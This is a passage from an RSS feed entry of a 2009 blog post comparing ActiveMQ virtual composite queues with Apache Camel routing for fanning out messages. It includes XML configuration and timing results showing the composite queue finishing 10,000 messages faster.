&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;to</span> <span style="color: #000066;">uri</span>=<span style="color: #ff0000;">&quot;activemq:OUTPUT-1-QUEUE&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;to</span> <span style="color: #000066;">uri</span>=<span style="color: #ff0000;">&quot;activemq:OUTPUT-2-QUEUE&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/route<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/camelContext<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;bean</span> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">&quot;activemq&quot;</span> <span style="color: #000066;">class</span>=<span style="color: #ff0000;">&quot;org.apache.activemq.camel.component.ActiveMQComponent&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;property</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;connectionFactory&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;bean</span> <span style="color: #000066;">class</span>=<span style="color: #ff0000;">&quot;org.apache.activemq.ActiveMQConnectionFactory&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;property</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;brokerURL&quot;</span> <span style="color: #000066;">value</span>=<span style="color: #ff0000;">&quot;vm://localhost?create=false&amp;amp;waitForStart=10000&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;property</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;userName&quot;</span> <span style="color: #000066;">value</span>=<span style="color: #ff0000;">&quot;${activemq.username}&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;property</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;password&quot;</span> <span style="color: #000066;">value</span>=<span style="color: #ff0000;">&quot;${activemq.password}&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/bean<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/property<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/bean<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
<span style="color: #000000; font-weight: bold;">&lt;/beans<span style="color: #000000; font-weight: bold;">&gt;</span></span></div></div>
<p>Benchmark took 3 minutes 31 seconds to send 10 thousand messages through Camel:</p>
<pre>
$ time ./amqinject INPUT-QUEUE 10000
0.651u 0.490s 3:31.43 0.5%      0+0k 0+0io 0pf+0w
</pre>
<p>Unfortunately &#8220;Number Of Pending Messages&#8221; was always about 1024 and amqinject gets blocked in send() call:</p>
<pre>
INFO | Usage Manager memory limit reached on queue://INPUT-QUEUE. Producers will be throttled to the rate at which messages are removed from this destination to prevent flooding it. See http://activemq.apache.org/producer-flow-control.html for more info
</pre>
<h2>Virtual Composite Queue</h2>
<p>Virtual destinations are configured in &lt;broker&gt; tag. Here is my configuration:</p>
<div class="codecolorer-container xml default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="xml codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;destinations<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;queue</span> <span style="color: #000066;">physicalName</span>=<span style="color: #ff0000;">&quot;INPUT-QUEUE&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;queue</span> <span style="color: #000066;">physicalName</span>=<span style="color: #ff0000;">&quot;OUTPUT-1-QUEUE&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;queue</span> <span style="color: #000066;">physicalName</span>=<span style="color: #ff0000;">&quot;OUTPUT-2-QUEUE&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/destinations<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;destinationInterceptors<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;virtualDestinationInterceptor<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;virtualDestinations<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;compositeQueue</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;INPUT-QUEUE&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;forwardTo<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;queue</span> <span style="color: #000066;">physicalName</span>=<span style="color: #ff0000;">&quot;OUTPUT-1-QUEUE&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;queue</span> <span style="color: #000066;">physicalName</span>=<span style="color: #ff0000;">&quot;OUTPUT-2-QUEUE&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/forwardTo<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/compositeQueue<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/virtualDestinations<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/virtualDestinationInterceptor<span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;/destinationInterceptors<span style="color: #000000; font-weight: bold;">&gt;</span></span></div></div>
<p>Amqinject never blocked and it took only <strong>2 minutes 29 seconds</strong> to complete:</p>
<pre>
% time ./amqinject INPUT-QUEUE 10000
0.718u 0.539s 2:29.33 0.8%      0+0k 0+0io 0pf+0w
</pre>The post <a href="https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/">Virtual destinations are faster than Camel routing</a> first appeared on <a href="https://blog.burghardt.pl">Krzysztof Burghardt’s blog</a>.]]></content:encoded>
					
					<wfw:commentRss>https://blog.burghardt.pl/2009/10/virtual-destinations-are-faster-than-camel-routing/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
